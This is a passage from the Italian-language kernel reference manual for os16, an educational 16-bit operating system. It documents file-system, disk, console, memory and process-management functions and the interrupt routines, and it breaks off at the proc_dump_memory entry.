‘**`fd_stat`**’, ‘**`path_stat`**’ - interrogazione dello stato di un file

SINTASSI

```
<kernel/fs.h>
int fd_stat   (pid_t pid, int fdn, struct stat *buffer);
int path_stat (pid_t pid, const char *path, struct stat *buffer);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`int` ***fdn***	Il numero del descrittore di file.
`const char *`***path***	Il percorso che rappresenta il file.
`struct stat *`***buffer***	Area di memoria in cui scrivere le informazioni sul file.

DESCRIZIONE

Le funzioni ***fd_stat()*** e ***path_stat()*** raccolgono le informazioni disponibili sul file corrispondente al descrittore ***fdn*** del processo ***pid*** o al percorso ***path***, in una variabile strutturata di tipo '**`struct stat`**', a cui punta ***buffer***. La struttura '**`struct stat`**' è definita nel file '`lib/sys/stat.h`' nel modo seguente:

```
struct stat {
    dev_t      st_dev;     // Device containing the file.
    ino_t      st_ino;     // File serial number (inode number).
    mode_t     st_mode;    // File type and permissions.
    nlink_t    st_nlink;   // Links to the file.
    uid_t      st_uid;     // Owner user id.
    gid_t      st_gid;     // Owner group id.
    dev_t      st_rdev;    // Device number if it is a device file.
    off_t      st_size;    // File size.
    time_t     st_atime;   // Last access time.
    time_t     st_mtime;   // Last modification time.
    time_t     st_ctime;   // Last inode modification.
    blksize_t st_blksize; // Block size for I/O operations.
    blkcnt_t   st_blocks;  // File size / block size.
};
```

Va osservato che il file system Minix 1, usato da os16, riporta esclusivamente la data e l'ora di modifica, pertanto le altre due date previste sono sempre uguali a quella di modifica.

Il membro ***st_mode***, oltre alla modalità dei permessi che si cambiano con *fd_chmod(9)* [104.3.1], serve ad annotare anche il tipo di file. Nel file '`lib/sys/stat.h`' sono definite anche delle macro-variabili per individuare e facilitare la selezione dei bit che compongono le informazioni del membro ***st_mode***:

Modalità simbolica	Modalità numerica	Descrizione
`S_IFMT`	0170000_8	Maschera che raccoglie tutti i bit che individuano il tipo di file.
`S_IFBLK`	0060000_8	File di dispositivo a blocchi.
`S_IFCHR`	0020000_8	File di dispositivo a caratteri.
`S_IFIFO`	0010000_8	File FIFO, non gestito da os16.
`S_IFREG`	0100000_8	File puro e semplice.
`S_IFDIR`	0040000_8	Directory.
`S_IFLNK`	0120000_8	Collegamento simbolico, non gestito da os16.
`S_IFSOCK`	0140000_8	Socket di dominio Unix, non gestito da os16.

Modalità simbolica	Modalità numerica	Descrizione
`S_ISUID`	0004000_8	SUID.
`S_ISGID`	0002000_8	SGID.
`S_ISVTX`	0001000_8	Sticky.

Modalità simbolica	Modalità numerica	Descrizione
`S_IRWXU`	0000700_8	Lettura, scrittura ed esecuzione per l'utente proprietario.
`S_IRUSR`	0000400_8	Lettura per l'utente proprietario.
`S_IWUSR`	0000200_8	Scrittura per l'utente proprietario.
`S_IXUSR`	0000100_8	Esecuzione per l'utente proprietario.

Modalità simbolica	Modalità numerica	Descrizione
`S_IRWXG`	0000070_8	Lettura, scrittura ed esecuzione per il gruppo.
`S_IRGRP`	0000040_8	Lettura per il gruppo.
`S_IWGRP`	0000020_8	Scrittura per il gruppo.
`S_IXGRP`	0000010_8	Esecuzione per il gruppo.

Modalità simbolica	Modalità numerica	Descrizione
`S_IRWXO`	0000007_8	Lettura, scrittura ed esecuzione per gli altri utenti.
`S_IROTH`	0000004_8	Lettura per gli altri utenti.
`S_IWOTH`	0000002_8	Scrittura per gli altri utenti.
`S_IXOTH`	0000001_8	Esecuzione per gli altri utenti.

os16 non considera i permessi SUID (*Set user id*), SGID (*Set group id*) e Sticky; inoltre, non considera i permessi legati al gruppo, perché non tiene traccia dei gruppi.

Queste funzioni vengono usate soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento delle chiamate di sistema di tipo '**`SYS_STAT`**' e '**`SYS_FSTAT`**'. Le funzioni della libreria standard che si avvalgono delle chiamate di sistema che poi raggiungono ***fd_stat()*** e ***path_stat()***, sono *fstat(2)* [98.36] e *stat(2)* [98.36].

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno*** del kernel.

ERRORI

Valore di *errno*	Significato
`ENFILE`	Troppi file aperti nel sistema.
`ENOENT`	File non trovato.
`EACCES`	Permesso negato.
`EBADF`	Il descrittore del file richiesto non è valido.

FILE SORGENTI

'`lib/sys/stat/fstat.c`' [106.13.3]

'`lib/sys/stat/stat.c`' [106.13.6]

'`kernel/proc.h`' [105.9]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs.h`' [105.4]

'`kernel/fs/fd_stat.c`' [105.4.11]

'`kernel/fs/path_stat.c`' [105.4.44]

VEDERE ANCHE

fstat(2) [98.36], *stat(2)* [98.36], *sysroutine(9)* [104.8.28], *proc_reference(9)* [104.8.7], *path_inode(9)* [104.3.36], *inode_put(9)* [104.3.24].

104.3.51 os16: zone_alloc(9)

NOME

'**`zone_alloc`**', '**`zone_free`**' - allocazione di zone di dati

SINTASSI

```
<kernel/fs.h>
zno_t zone_alloc (sb_t *sb);
int   zone_free  (sb_t *sb, zno_t zone);
```

ARGOMENTI

Argomento	Descrizione
`sb_t *sb`	Puntatore a una voce della tabella dei super blocchi in memoria.
`zno_t zone`	Numero di zona da liberare.

DESCRIZIONE

La funzione ***zone_alloc()*** occupa una zona nella mappa associata al super blocco a cui si riferisce ***sb***, restituendone il numero. La funzione ***zone_free()*** libera una zona che precedentemente risultava occupata nella mappa relativa.

VALORE RESTITUITO

La funzione ***zone_alloc()*** restituisce il numero della zona allocata. Se questo numero è zero, si tratta di un errore, e va considerato il contenuto della variabile ***errno***.

La funzione ***zone_free()*** restituisce zero in caso di successo, oppure −1 in caso di errore, aggiornando di conseguenza la variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EROFS`	Il file system è innestato in sola lettura, pertanto non è possibile apportare cambiamenti alla mappa di utilizzo delle zone.
`ENOSPC`	Non è possibile allocare una zona, perché non ce ne sono di libere.
`EINVAL`	L'argomento corrispondente a ***sb*** è un puntatore nullo; la zona di cui si richiede la liberazione è precedente alla prima zona dei dati (pertanto non può essere liberata, in quanto riguarda i dati amministrativi del super blocco); la zona da liberare è successiva allo spazio gestito dal file system.
`EUNKNOWN`	Errore imprevisto e sconosciuto.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/zone_alloc.c`' [105.4.53]

'`kernel/fs/zone_free.c`' [105.4.54]

VEDERE ANCHE

zone_write(9) [104.3.53], *sb_save(9)* [104.3.48].

104.3.52 os16: zone_free(9)

Vedere *zone_alloc(9)* [104.3.51].

104.3.53 os16: zone_read(9)

NOME

'**`zone_read`**', '**`zone_write`**' - lettura o scrittura di una zona di dati

SINTASSI

```
<kernel/fs.h>
int zone_read  (sb_t *sb, zno_t zone, void *buffer);
int zone_write (sb_t *sb, zno_t zone, void *buffer);
```

ARGOMENTI

Argomento	Descrizione
`sb_t` ***sb*	Puntatore a una voce della tabella dei super blocchi in memoria.
`zno_t` ***zone***	Numero di zona da leggere o da scrivere
`void` ***buffer*	Puntatore alla posizione iniziale in memoria dove depositare la zona letta o da dove trarre i dati per la scrittura della zona.

DESCRIZIONE

La funzione ***zone_read()*** legge una zona e ne trascrive il contenuto a partire da ***buffer***. La funzione ***zone_write()*** scrive una zona copiandovi al suo interno quanto si trova in memoria a partire da ***buffer***. La zona è individuata dal numero ***zone*** e riguarda il file system a cui si riferisce il super blocco ***sb***.

La lettura o la scrittura riguarda una zona soltanto, ma nella sua interezza.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Gli argomenti non sono validi.
`EROFS`	Il file system è innestato in sola lettura.
`EIO`	Errore di input-output.

FILE SORGENTI

‘`kernel/fs.h`’ [105.4]

‘`kernel/fs/zone_read.c`’ [105.4.55]

‘`kernel/fs/zone_write.c`’ [105.4.56]

VEDERE ANCHE

zone_alloc(9) [104.3.51], *zone_free(9)* [104.3.51].

104.4 os16: ibm_i86(9)

Il file ‘`kernel/ibm_i86.h`’ [105.5] descrive le funzioni e le macro-istruzioni per la gestione dell’hardware.

La sezione 95.3 descrive complessivamente queste funzioni e le tabelle successive sono tratte da lì.

Tabella 95.26. Funzioni e macro-istruzioni di basso livello, dichiarate nel file di intestazione '`kernel/ibm_i86.h`' e descritte nei file della directory '`kernel/ibm_i860/`'. Le macro-istruzioni hanno argomenti di tipo numerico non precisato, purché in grado di rappresentare il valore necessario.

Funzione o macro-istruzione	Descrizione
`void _int10_00 (uint16_t` ***video_mode***`);` `void int10_00 (`***video_mode***`);`	Imposta la modalità video della console. Questa funzione viene usata solo da ***con_init()***, per inizializzare la console; la modalità video è stabilita dalla macro-variabile ***IBM_I86_VIDEO_MODE***, dichiarata nel file '`kernel/ibm_i86.h`'.

`void _int10_02 (uint16_t` ***page***`,`
`uint16_t` ***position***`);`
`void int10_02 (`***page***`,` ***position***`);`
	Colloca il cursore in una posizione determinata dello schermo, relativo a una certa pagina video.
	Questa funzione viene usata solo da ***con_putc()***.

`void _int10_05 (uint16_t` ***page***`);` `void int10_05 (`***page***`);`	Seleziona la pagina attiva del video. Questa funzione viene usata solo da ***con_init()*** e ***con_select()***.
`void _int12 (void);` `void int12 (void);`	Restituisce la quantità di memoria disponibile, in multipli di 1024 byte.
`void _int13_00 (uint16_t` ***drive***`);` `void int13_00 (`***drive***`);`	Azzera lo stato dell'unità a disco indicata, rappresentata da un numero secondo le convenzioni del BIOS. Viene usata solo dalle funzioni '**`dsk_...()`**' che si occupano dell'accesso alle unità a disco.

`uint16_t _int13_02 (uint16_t` ***drive***`,`
`uint16_t` ***sectors***`,`
`uint16_t` ***cylinder***`,`
`uint16_t` ***head***`,`
`uint16_t` ***sector***`,`
`void *`***buffer***`);`
`void int13_02 (`***drive***`,` ***sectors***`,` ***cylinder***`,` ***head***`,`
sector`,` ***buffer***`);`
	Legge dei settori da un'unità a disco.
	Questa funzione viene usata soltanto da ***dsk_read_sectors()***.

`uint16_t _int13_03 (uint16_t` ***drive***`,`
`uint16_t` ***sectors***`,`
`uint16_t` ***cylinder***`,`
`uint16_t` ***head***`,`
`uint16_t` ***sector***`,`
`void *`***buffer***`);`
`void int13_03 (`***drive***`,` ***sectors***`,` ***cylinder***`,` ***head***`,`
sector`,` ***buffer***`);`
	Scrive dei settori in un'unità a disco.
	Questa funzione viene usata solo da ***dsk_write_sectors()***.

`uint16_t _int16_00 (void);` `void int16_00 (void);`	Legge un carattere dalla tastiera, rimuovendolo dalla memoria tampone relativa. Viene usata solo in alcune funzioni di controllo della console, denominate '**`con_...()`**'.

Funzione o macro-istruzione	Descrizione
`uint16_t _int16_01 (void);` `void int16_01 (void);`	Verifica se è disponibile un carattere dalla tastiera: se c'è ne restituisce il valore, ma senza rimuoverlo dalla memoria tampone relativa, altrimenti restituisce zero. Viene usata solo dalle funzioni di gestione della console, denominate '`con_...()`'.
`void _int16_02 (void);` `void int16_02 (void);`	Restituisce un valore con cui è possibile determinare quali funzioni speciali della tastiera risultano inserite (inserimento, fissa-maiuscole, blocco numerico, ecc.). Al momento la funzione non viene usata.
`uint16_t _in_8 (uint16_t port);` `void in_8 (port);`	Legge un byte dalla porta di I/O indicata. Questa funzione viene usata da ***irq_on()***, ***irq_off()*** e ***dev_mem()***.
`uint16_t _in_16 (uint16_t port);` `void in_16 (port);`	Legge un valore a 16 bit dalla porta di I/O indicata. Questa funzione viene usata solo da ***dev_mem()***.
`void _out_8 (uint16_t port, uint16_t value);` `void out_8 (port, value);`	Scrive un byte nella porta di I/O indicata. Questa funzione viene usata da ***irq_on()***, ***irq_off()*** e ***dev_mem()***.
`void _out_16 (uint16_t port, uint16_t value);` `void out_16 (port, value);`	Scrive un valore a 16 bit nella porta indicata. Questa funzione viene usata solo da ***dev_mem()***.
`void cli (void);`	Azzera l'indicatore delle interruzioni, nel registro ***FLAGS***. La funzione serve a permettere l'uso dell'istruzione '`CLI`' dal codice in linguaggio C, ma in questa veste, viene usata solo dalla funzione ***proc_init()***.
`void sti (void);`	Attiva l'indicatore delle interruzioni, nel registro ***FLAGS***. La funzione serve a permettere l'uso dell'istruzione '`STI`' dal codice in linguaggio C, ma in questa veste, viene usata solo dalla funzione ***proc_init()***.
`void irq_on (unsigned int irq);`	Abilita l'interruzione hardware indicata. Questa funzione viene usata solo da ***proc_init()***.
`void irq_off (unsigned int irq);`	Disabilita l'interruzione hardware indicata. Questa funzione viene usata solo da ***proc_init()***.
`void _ram_copy (segment_t org_seg, offset_t org_off, segment_t dst_seg, offset_t dst_off, uint16_t size);` `void ram_copy (org_seg, org_off, dst_seg, dst_off, size);`	Copia una certa quantità di byte, da una posizione di memoria all'altra, specificando segmento e scostamento di origine e destinazione. Viene usata solo dalle funzioni '`mem_...()`'.

Tabella 95.27. Funzioni per l'accesso alla console, dichiarate nel file di intestazione 'kernel/ibm_i86.h' e descritte nei file contenuti nella directory 'kernel/ibm_i86/'.

Funzione	Descrizione
`int con_char_read (void);`	Legge un carattere dalla console, se questo è disponibile, altrimenti restituisce il valore zero. Questa funzione viene usata solo da ***proc_sch_terminals()***.
`int con_char_wait (void);`	Legge un carattere dalla console, ma se questo non è ancora disponibile, rimane in attesa, bloccando tutto il sistema operativo. Questa funzione non è utilizzata.
`int con_char_ready (void);`	Verifica se è disponibile un carattere dalla console: se è così, restituisce un valore diverso da zero, corrispondente al carattere in attesa di essere prelevato. Questa funzione viene usata solo da ***proc_sch_terminals()***.
`void con_init (void);`	Inizializza la gestione della console. Questa funzione viene usata solo da ***tty_init()***.
`void con_select (int` ***console***`);`	Seleziona la console desiderata, dove la prima si individua con lo zero. Questa funzione viene usata solo da ***tty_console()***.
`void con_putc (int` ***console***`, int` ***c***`);`	Visualizza il carattere indicato sullo schermo della console specificata, sulla posizione in cui si trova il cursore, facendolo avanzare di conseguenza e facendo scorrere il testo in alto, se necessario. Questa funzione viene usata solo da ***tty_write()***.
`void con_scroll (int` ***console***`);`	Fa avanzare in alto il testo della console selezionata. Viene usata internamente, solo dalla funzione ***con_putc()***.

Tabella 95.30. Funzioni per l'accesso ai dischi, dichiarate nel file di intestazione 'kernel/ibm_i86.h'.

Funzione	Descrizione
`void dsk_setup (void);`	Predispone il contenuto dell'array ***dsk_table[]***. Questa funzione viene usata soltanto da ***main()***.
`int dsk_reset (int` ***drive***`);`	Azzera lo stato dell'unità corrispondente a ***dsk_table[drive].bios_drive***. Viene usata solo internamente, dalle altre funzioni '**`dsk_`**...**`()`**'.
`void dsk_sector_to_chs (int` ***drive***`, unsigned int` ***sector***`, dsk_chs_t *`***chs***`);`	Modifica le coordinate della variabile strutturata a cui punta l'ultimo parametro, con le coordinate corrispondenti al numero di settore fornito. Viene usata solo internamente, dalle altre funzioni '**`dsk_`**...**`()`**'.
`int dsk_read_sectors (int` ***drive***`, unsigned int` ***start_sector***`, void *`***buffer***`, unsigned int` ***n_sectors***`);`	Legge una sequenza di settori da un disco, mettendo i dati in memoria, a partire dalla posizione espressa da un puntatore generico. La funzione è ricorsiva, ma oltre che da se stessa, viene usata internamente da ***dsk_read_bytes()*** e da ***dsk_write_bytes()***.

Funzione	Descrizione
`int dsk_write_sectors (int` ***drive***`, unsigned int` ***start_sector***`, void *`***buffer***`, unsigned int` ***n_sectors***`);`	Scrive una sequenza di settori in un disco, traendo i dati da un puntatore a una certa posizione della memoria. La funzione è ricorsiva, ma oltre che da se stessa, viene usata solo internamente da ***dsk_write_bytes()***.
`size_t dsk_read_bytes (int` ***drive***`, off_t` ***offset***`, void *`***buffer***`, size_t count);`	Legge da una certa unità a disco una quantità specificata di byte, a partire dallo scostamento indicato (nel disco), il quale deve essere un valore positivo. Questa funzione viene usata solo da ***dev_dsk()***.
`size_t dsk_write_bytes (int` ***drive***`, off_t` ***offset***`, void *`***buffer***`, size_t count);`	Scrive su una certa unità a disco una quantità specificata di byte, a partire dallo scostamento indicato (nel disco), il quale deve essere un valore positivo. Questa funzione viene usata solo da ***dev_dsk()***.

104.5 os16: k_libc(9)

Il file '`kernel/k_libc.h`' [105.6] descrive alcune funzioni con nomi che iniziano per '**`k_`**...' (dove la lettera «k» sta per kernel) e riproducono il comportamento di funzioni standard, della libreria C. Per esempio, ***k_printf()*** è l'equivalente di ***printf()***, ma per la gestione interna del kernel.

Teoricamente, quando una funzione interna al kernel può ricondursi allo standard, dovrebbe avere il nome previsto. Tuttavia, per evitare di dover qualificare ogni volta l'ambito di una funzione, sono stati usati nomi differenti, ciò anche al fine di non creare complicazioni in fase di compilazione di tutto il sistema.

104.6 os16: main(9)

Il file '`kernel/main.h`' [105.7] descrive la funzione ***main()*** del kernel e altre funzioni accessorie, assieme al codice iniziale necessario per mettere in funzione il kernel stesso.

Si rimanda alla sezione 95.2 che descrive dettagliatamente il codice iniziale del kernel.

104.7 os16: memory(9)

Il file '`kernel/memory.h`' [105.8] descrive le funzioni per la gestione della memoria, a livello di sistema.

Per la descrizione dell'organizzazione della gestione della memoria si rimanda alla sezione 95.4. Le tabelle successive che sintetizzano l'uso delle funzioni di questo gruppo, sono tratte da quel capitolo.

Tabella 95.33. Funzioni per la gestione della mappa della memoria, dichiarate nel file di intestazione '`kernel/memory.h`' e realizzate nella directory '`kernel/memory/`'.

Funzione	Descrizione
`uint16_t *mb_reference (void);`	Restituisce il puntatore alla tabella dei blocchi di memoria, per uniformare l'accesso alla tabella dalle funzioni che non fanno parte del gruppo contenuto nella directory '`kernel/memory/`'.
`ssize_t mb_alloc (addr_t` ***address***`, size_t` ***size***`);`	Alloca la memoria a partire dall'indirizzo efficace indicato, per la quantità di byte richiesta (zero corrisponde a 10000_{16} byte). L'allocazione ha termine anticipatamente se si incontra un blocco già utilizzato. La funzione restituisce la dimensione allocata effettivamente.
`ssize_t mb_free (addr_t` ***address***`, size_t` ***size***`);`	Libera la memoria a partire dall'indirizzo efficace indicato, per la quantità di byte richiesta (zero corrisponde a 10000_{16} byte). Lo spazio viene liberato in ogni caso, anche se risulta già libero; tuttavia viene prodotto un avvertimento a video se si verifica tale ipotesi.
`int mb_alloc_size (size_t` ***size***`, memory_t *`***allocated***`);`	Cerca e alloca un'area di memoria della dimensione richiesta, modificando la variabile strutturata di cui viene fornito il puntatore come secondo parametro. In pratica, l'indirizzo e l'estensione della memoria allocata effettivamente si trovano nella variabile strutturata in questione, mentre la funzione restituisce zero (se va tutto bene) o -1 se non è disponibile la memoria libera richiesta.

Tabella 95.34. Funzioni per le operazioni di lettura e scrittura in memoria, dichiarate nel file di intestazione '`kernel/memory.h`' e realizzate nella directory '`kernel/memory/`'.

Funzione	Descrizione
`void mem_copy (addr_t` ***orig***`, addr_t` ***dest***`, size_t` ***size***`);`	Copia la quantità richiesta di byte, dall'indirizzo di origine a quello di destinazione, espressi in modo efficace.
`size_t mem_read (addr_t` ***start***`, void *`***buffer***`, size_t` ***size***`);`	Legge dalla memoria, a partire dall'indirizzo indicato come primo parametro, la quantità di byte indicata come ultimo parametro. Ciò che viene letto va poi copiato nella memoria tampone corrispondente al puntatore generico indicato come secondo parametro.
`size_t mem_write (addr_t` ***start***`, void *`***buffer***`, size_t` ***size***`);`	Scrive, in memoria, a partire dall'indirizzo indicato come primo parametro, la quantità di byte indicata come ultimo parametro. Ciò che viene scritto proviene dalla memoria tampone corrispondente al puntatore generico indicato come secondo parametro.

104.8 os16: proc(9)

Il file '`kernel/proc.h`' [105.9] descrive ciò che serve per la gestione dei processi. In modo particolare, in questo file si definisce il tipo derivato '**`proc_t`**', con cui si realizza la tabella dei processi.

Figura 95.78. Struttura del tipo '**`proc_t`**', corrispondente agli elementi dell'array ***proc_table[]***.

ppid: pid genitore
pgrp: pid del gruppo
uid: identità reale
euid: identità efficace
sid: identitàsalvata
terminale di controllo
cwd: directory corrente in forma di percorso
cwd: directory corrente in forma di puntatore a inode
umask
segnali attivati
segnali inibiti
tempo di utilizzo in quantità di impulsi
stato del processo
eventi attesi
segnale atteso
tempo da attendere
indirizzo efficace delle istruzioni
segmento istruzioni
dimensione istruzioni
indirizzo efficace dei dati
segmento dati
dimensione dati
sp: indice della pila
valore restituito al termine
nome del processo
tabella dei descrittori dei file del processo

```
typedef struct {
  pid_t              ppid;
  pid_t              pgrp;
  uid_t              uid;
  uid_t              euid;
  uid_t              suid;
  dev_t              device_tty;
  char               path_cwd[PATH_MAX];
  inode_t           *inode_cwd;
  int                umask;
  unsigned long int  sig_status;
  unsigned long int  sig_ignore;
  clock_t            usage;
  unsigned int       status;
  int                wakeup_events;
  int                wakeup_signal;
  unsigned int       wakeup_timer;
  addr_t             address_i;
  segment_t          segment_i;
  size_t             size_i;
  addr_t             address_d;
  segment_t          segment_d;
  size_t             size_d;
  uint16_t           sp;
  int                ret;
  char               name[PATH_MAX];
  fd_t               fd[FOPEN_MAX];
} proc_t;
```

Tabella 95.79. Membri del tipo '**`proc_t`**'.

Membro	Contenuto
`ppid`	Numero del processo genitore: *parent process id*.
`pgrp`	Numero del gruppo di processi a cui appartiene quello della voce corrispondente: *process group*. Si tratta del numero del processo a partire dal quale viene definito il gruppo.
`uid`	Identità reale del processo della voce corrispondente: *user id*. Si tratta del numero dell'utente, secondo la classificazione del file '`/etc/passwd`', per conto del quale il processo è stato avviato. Tuttavia, i privilegi del processo dipendono dall'identità efficace, definita dal membro '**`euid`**'.

Membro	Contenuto
`euid`	Identità efficace del processo della voce corrispondente: *effective user id*. Si tratta del numero dell'utente, secondo la classificazione del file '`/etc/passwd`', per conto del quale il processo è in funzione; pertanto, il processo ha i privilegi di quell'utente.
`suid`	Identità salvata: *saved user id*. Si tratta del valore che aveva ***euid*** prima di cambiare identità.
`device_tty`	Terminale di controllo, espresso attraverso il numero del dispositivo.
`path_cwd` `inode_cwd`	Entrambi i membri rappresentano la directory corrente del processo: nel primo caso in forma di percorso, ovvero di stringa, nel secondo in forma di puntatore a inode rappresentato in memoria.
`umask`	Maschera dei permessi associata al processo: i permessi attivi nella maschera vengono tolti in fase di creazione di un file o di una directory.
`sig_status`	Segnali inviati al processo e non ancora trattati: ogni segnale si associa a un bit differente del valore del membro ***sig_status***; un bit a uno indica che il segnale corrispondente è stato ricevuto e non ancora trattato.
`sig_ignore`	Segnali che il processo ignora: ogni segnale da ignorare si associa a un bit differente del valore del membro ***sig_ignore***; un bit a uno indica che quel segnale va ignorato.
`usage`	Tempo di utilizzo della CPU, da parte del processo, espresso in impulsi del temporizzatore, il quale li produce alla frequenza di circa 18,2 Hz.
`status`	Stato del processo, rappresentabile attraverso una macro-variabile simbolica, definita nel file '`proc.h`'. Per os16, gli stati possibili sono: «inesistente», quando si tratta di una voce libera della tabella dei processi; «creato», quando un processo è appena stato creato; «pronto», quando un processo è pronto per essere eseguito, «in esecuzione», quando il processo è in funzione; «sleeping», quando un processo è in attesa di qualche evento; «zombie», quando un processo si è concluso, ha liberato la memoria, ma rimangono le sue tracce perché il genitore non ha ancora recepito la sua fine.
`wakeup_events`	Eventi attesi per il risveglio del processo, ammesso che si trovi nello stato si attesa. Ogni tipo di evento che può essere atteso corrisponde a un bit e si rappresenta con una macro-variabile simbolica, dichiarata nel file '`lib/sys/os16.h`'.
`wakeup_signal`	Ammesso che il processo sia in attesa di un segnale, questo membro esprime il numero del segnale atteso.
`wakeup_timer`	Ammesso che il processo sia in attesa dello scadere di un conto alla rovescia, questo membro esprime il numero di secondi che devono ancora trascorrere.
`address_i` `segment_i` `size_i`	Il valore di questi membri descrive la memoria utilizzata dal processo per le istruzioni (il segmento codice). Le informazioni sono in parte ridondanti, perché conoscendo ***segment_i*** si ottiene facilmente ***address_i*** e viceversa, ma ciò consente di ridurre i calcoli nelle funzioni che ne fanno uso.

Membro	Contenuto
`address_d` `segment_d` `size_d`	Il valore di questi membri descrive la memoria utilizzata dal processo per i dati (il segmento usato per le variabili statiche e per la pila). Anche in questo caso, le informazioni sono in parte ridondanti, ma ciò consente di semplificare il codice nelle funzioni che ne fanno uso.
`sp`	Indice della pila dei dati, nell'ambito del segmento dati del processo. Il valore è significativo quando il processo è nello stato di pronto o di attesa di un evento. Quando invece un processo era attivo e viene interrotto, questo valore viene aggiornato.
`ret`	Rappresenta il valore restituito da un processo terminato e passato nello stato di «zombie».
`name`	Il nome del processo, rappresentato dal nome del programma avviato.
`fd`	Tabella dei descrittori dei file relativi al processo.

104.8.1 os16: isr_1C(9)

NOME

'**`isr_1C`**', '**`isr_80`**' - routine di gestione delle interruzioni

DESCRIZIONE

La routine '**`isr_1C`**' del file '`kernel/proc/_isr.s`' viene eseguita a ogni impulso del temporizzatore, proveniente dal sistema delle interruzioni hardware; la routine '**`isr_80`**', in modo analogo, viene eseguita in corrispondenza dell'interruzione software 80_{16} Perché ciò avvenga, nella tabella IVT, nelle voci che riguardano l'interruzione $1C_{16}$ e 80_{16}, si trova l'indirizzo corrispondente alle routine in questione. La configurazione della tabella IVT avviene per mezzo della funzione *ivt_load(9)* [104.8.2].

La routine '**`isr_1C`**' prevede il salvataggio dei registri principali nella pila dei dati in funzione al momento dell'interruzione. Quindi vengono modificati i registri che definiscono l'area dati (ES e DS) e successivamente ciò permette di intervenire su delle variabili locali: viene incrementato il contatore degli impulsi del temporizzatore; viene incrementato il contatore dei secondi, se il contatore degli impulsi è divisibile per 18 senza dare resto; vengono salvati l'indice e il segmento della pila dei dati, in due variabili locali.

Dalla verifica del valore del segmento in cui si colloca la pila dei dati del processo interrotto, la routine verifica se si tratta di un processo comune o del kernel. Se si tratta di un processo comune, si scambia la pila con quella del kernel. Per questo la routine si avvale della variabile ***_ksp*** (*kernel stack pointer*), usata anche dalla funzione *proc_scheduler(9)* [104.8.11]. Sempre se si tratta dell'interruzione di un processo diverso dal kernel, viene chiamata la funzione ***proc_scheduler()***, già citata, fornendo come argomenti il puntatore alla variabile che contiene l'indice della pila e il puntatore alla variabile che contiene il segmento di memoria che ospita la pila dei dati. Al termine viene scambiata nuovamente la pila dei dati, usando come valori quanto contenuto nelle variabili che prima sono servite per salvare l'indice e il segmento della pila.

Poi, indipendentemente dal tipo di processo, vengono ripristinati i registri accumulati in precedenza nella pila e viene restituito il controllo, concludendo il lavoro dell'interruzione.

Va osservato che la funzione ***proc_scheduler()*** riceve l'indice e il segmento della pila dei dati attraverso dei puntatori a variabili scalari. Pertanto, tale funzione è perfettamente in grado di sostituire questi valori, con quelli della pila di un altro processo. Per questo, quando al ritorno della funzione viene ripristinata la pila sulla base di tali variabili, si ha uno scambio di processi. Il ripristino successivo dalla pila dei registri, completa il procedimento di sostituzione dei processi.

La routine '**`isr_80`**' viene attivata da un'interruzione software, dovuta a una chiamata di sistema. Questa routine si distingue leggermente da '**`isr_1C`**', in quanto non si occupa di tenere conto del tempo trascorso, ma ha la necessità di recuperare dalla pila del processo interrotto, i valori che hanno origine dalla chiamata di sistema. Si tratta sempre del numero della chiamata di sistema, del puntatore al messaggio trasmesso con la chiamata e della sua lunghezza.

Si può osservare anche un'altra differenza importante, per cui, se l'interruzione riguarda il processo del kernel, l'indice della pila dello stesso viene conservato nella variabile ***_ksp***. Questo fatto è importante, perché prima di abilitare la gestione delle interruzioni, è necessario che il kernel stesso ne provochi una, in modo da poter salvare la prima volta l'indice della propria pila.

Successivamente, indipendentemente dal processo interrotto, si chiama la funzione *sysroutine(9)* [104.8.28], alla quale si passano come argomenti, oltre che i puntatori all'indice e al segmento della pila dei dati del processo interrotto, anche gli argomenti della chiamata di sistema.

La funzione ***sysroutine()*** si avvale a sua volta della funzione ***proc_scheduler()***, pertanto anche in questo caso la pila dei dati che viene ripristinata successivamente può risultare differente da quella del processo interrotto originariamente, comportando anche in questo caso lo scambio del processo con un altro.

FILE SORGENTI

'`kernel/proc.h`' [105.9]

'`kernel/proc/proc_table.c`' [105.9.29]

'`kernel/proc/_isr.s`' [105.9.1]

VEDERE ANCHE

ivt_load(9) [104.8.2], *sys(2)* [98.37], *proc_scheduler(9)* [104.8.11], *sysroutine(9)* [104.8.28].

104.8.2 os16: ivt_load(9)

NOME

'**`ivt_load`**' - caricamento della tabella IVT

SINTASSI

```
<kernel/proc.h>
void _ivt_load (void);
```

```
<kernel/proc.h>
void  ivt_load (void);
```

DESCRIZIONE

La funzione ***_ivt_load()***, ovvero la macro-istruzione corrispondente ***ivt_load()***, modifica la tabella IVT del BIOS, in modo che nella posizione corrispondente all'interruzione $1C_{16}$ ci sia il puntatore alla routine *isr_1C(9)* [104.8.1], e che in corrispondenza dell'interruzione 80_{16} ci sia il puntatore alla routine *isr_80(9)* [104.8.1].

Questa funzione viene usata una volta sola, all'interno di *main(9)* [104.6].

FILE SORGENTI

'`kernel/proc.h`' [105.9]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/_ivt_load.s`' [105.9.2]

VEDERE ANCHE

sys(2) [98.37], *isr_80(9)* [104.8.1], *proc_scheduler(9)* [104.8.11], *sysroutine(9)* [104.8.28].

104.8.3 os16: proc_available(9)

NOME

'**`proc_available`**' - inizializzazione di un processo libero

SINTASSI

```
<kernel/proc.h>
void proc_available (pid_t pid);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo da inizializzare.

DESCRIZIONE

La funzione ***proc_available()*** si limita a inizializzare, con valori appropriati, i dati di un processo nella tabella relativa, in modo che risulti correttamente uno spazio libero per le allocazioni successive.

Questa funzione viene usata da *proc_init(9)* [104.8.6], *proc_sig_chld(9)* [104.8.12], *proc_sys_wait(9)* [104.8.27].

FILE SORGENTI

'`kernel/proc.h`' [105.9]

'`kernel/proc/proc_table.c`' [105.9.29]

'`kernel/proc/proc_available.c`' [105.9.3]

104.8.4 os16: proc_dump_memory(9)

NOME

